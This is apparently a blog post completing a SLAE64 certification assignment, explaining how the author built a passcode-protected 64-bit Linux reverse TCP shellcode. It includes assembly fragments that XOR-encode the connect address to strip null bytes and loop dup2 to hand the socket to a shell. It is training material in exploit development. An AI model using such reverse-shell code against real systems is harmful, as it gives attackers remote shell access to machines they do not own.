SLAE64 - Reverse TCP shellcode


The second assignment of the SLAE64 exam states:

  • Create a Shell_Reverse_TCP shellcode:
    • Reverse connects to configure IP and port
    • Needs a "passcode"
    • If passcode is correct then execute a shell
  • Remove 0x00 from the Reverse TCP shellcode discussed in the course

Reverse TCP shellcode

This is quite a lot simpler than the previous exercise in that we don't have to bind to the socket before listening to it and accepting incoming connections. Instead we simple create a socket and initiate a connection to the remote host.

So for this exercise the flow be defined as:

  1. Allocate a file description through socket(2)
  2. Set up the structure defining the address family, address and port to connect to
  3. Initiate the connection to the remote host
  4. Print a password prompt and require the correct password to be entered
  5. If the password was correct a shell is spawn; otherwise it exits

Now, my shellcode is not too dissimilar to what I wrote the first assignment, in fact, I have in re-used large parts. Two sections I did rewrite; one was to use a different method of setting up the stack for connect(2) and the other was to demonstrate a loop in invoking dup2(2).

Let's have a look at both.

connect(2)

The pre-configured address of the "remote" host we connect to is 127.0.0.1, or 0x0100007f in a format we can push on the stack (reverse hex). However there are two NULL bytes in there! I figured I could simply workaround this and use a different address, but then I remembered the XOR encoder video and figured I could use the XOR operation here.

The truth table for the XOR operation is:

A B result
0 0 0
0 1 1
1 0 1
1 1 0

and also note that: ( A xor B ) xor B == A.

So substituting A with our address (containing NULLs) and B with a bitmask of all ones, we can safely use the result (0x1011116e) in our code. Then we XOR it again with the bitmask before pushing the result (the original address) onto the stack!

    mov r13d, 0x1011116e
    xor r13d, 0x11111111
    mov dword [rsp-4], r13d

dup2(2)

In the code for the second part of this assignment below I've taken the naive and straightforward approach in removing NULLS in the code to dup2 the file descriptors:

    xor rax, rax
    mov al, 33
    xor rsi, rsi    ; %RSI is 0 (STDIN)
    syscall

    xor rax, rax
    mov al, 33
    inc rsi         ; %RSI is 1 (STDOUT)
    syscall

    xor rax, rax
    mov al, 33
    inc rsi         ; %RSI is 2 (STDERR)
    syscall

However for this exercise I used a different method that is actually smaller by 8 bytes for a total of 22 bytes for this code:

    xor rsi, rsi
    xor rcx, rcx
    mov cl, 0x2     ; upper limit for our loop corresponding to STDERR (2)
dup:
    push rcx
    xor rax, rax
    mov al, 33
    syscall
    inc rsi
    pop rcx
    loop dup

It's still very straightforward; we zero out both RSI and RCX, then we set RCX to the highest file descriptor number (2) and increment RSI with each iteration of the loop until loop detects that RCX contains zero and program flow continues.

asciicast

Removing 0x00 from the discussed shellcode

This was a fairly straightforward removal of NULLs using techniques similar to those in the previous assignment as well as re-applying the bitmask technique described above.

In the end my code was 142 bytes in size compared to 138 of the original.

asciicast

Wrapping up

I have uploaded my code to jasperla/slae64 on GitHub:

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE64-1614